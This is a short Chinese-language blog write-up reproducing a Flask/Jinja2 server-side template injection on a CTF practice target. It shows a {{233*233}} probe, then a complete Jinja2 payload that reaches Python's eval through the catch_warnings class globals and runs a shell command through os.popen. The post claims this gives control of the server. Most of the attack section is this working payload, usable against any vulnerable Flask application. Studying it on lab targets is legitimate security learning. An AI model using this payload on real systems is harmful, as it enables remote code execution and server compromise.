漏洞复现-Flask-SSTI服务端模板注入

参考大佬博客：漏洞复现-Flask-SSTI服务端模板注入 - 铺哩 - 博客园 (cnblogs.com)

靶场直接用现成的catf1ag CTF (vfree.ltd) 里的web题flask

漏洞复现

 

 

 使用别的方式查看漏洞风险是否存在：

http://xxx:8000/?name={{233*233}}

 

 

 发现他自动计算了，漏洞存在

直接查询flask框架的代码执行语句

获取eval函数并执行任意python代码的POC：

 

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

把name后的{{}}代码直接替换为上面的poc即可执行“id”这条Linux命令

即可拿下服务器权限！

在网站使用静态flask框架搭建时，内部的函数调用了python内的一些高危的模块，导致可以直接与服务器端进行交互操作